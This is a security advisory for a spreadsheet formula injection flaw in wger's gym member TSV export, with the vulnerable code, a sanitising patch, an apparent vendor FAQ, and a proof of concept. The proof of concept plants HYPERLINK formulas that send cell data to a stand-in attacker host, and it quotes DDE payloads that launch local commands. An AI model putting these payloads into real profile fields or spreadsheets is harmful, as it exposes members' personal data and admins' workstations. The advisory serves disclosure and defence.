GHSA-XQ9M-HMP9-FW87

The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context, enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

Details

File: wger/gym/views/export.py, approximately line 73

# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])

Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context, outside the wger server boundary.

Affected endpoints:

• GET /en/gym/export/users/<gym_pk> -> wger.gym.views.export (TSV download)
• Profile fields injected via profile edit endpoint (first_name/last_name)

Suggested patch:

--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])

Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.

PoC

Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).

Step 1 - Inject formula payload into profile (any gym member, including self-registered):

POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29

URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")

Step 2 - Gym admin exports member list:

GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]

-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv

[... header row ...]
2	TestGym1	alice	[email protected]	=HYPERLINK("http://attacker.example/x?p="&A1,"click")	...

Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:

• Formula cell renders as clickable "click" hyperlink.
• On click (or on file-open with DDE-enabled Excel): browser issues GET http://attacker.example/x?p=[cell_A1_contents].
• Attacker server receives exfiltrated spreadsheet data.

Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.

Reproducibility: 2/2 runs after clean-baseline database reset.

Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:

• Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via HYPERLINK or WEBSERVICE functions.
• Local code execution (legacy Excel with DDE enabled): payloads like =cmd|'/c calc.exe'!A1 execute arbitrary commands on the admin's workstation.
• Phishing: formulas can display admin-trusted text while silently redirecting on click.

Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.

Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.

This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.

GHSA-XQ9M-HMP9-FW87 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-XQ9M-HMP9-FW87? GHSA-XQ9M-HMP9-FW87 is a high-severity security vulnerability in wger (pip), affecting versions <= 2.5. It is fixed in 2.6.
2. How severe is GHSA-XQ9M-HMP9-FW87? GHSA-XQ9M-HMP9-FW87 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wger are affected by GHSA-XQ9M-HMP9-FW87? wger (pip) versions <= 2.5 is affected.
4. Is there a fix for GHSA-XQ9M-HMP9-FW87? Yes. GHSA-XQ9M-HMP9-FW87 is fixed in 2.6. Upgrade to this version or later.
5. Is GHSA-XQ9M-HMP9-FW87 exploitable, and should I be worried? Whether GHSA-XQ9M-HMP9-FW87 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-XQ9M-HMP9-FW87 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-XQ9M-HMP9-FW87? Upgrade wger to 2.6 or later.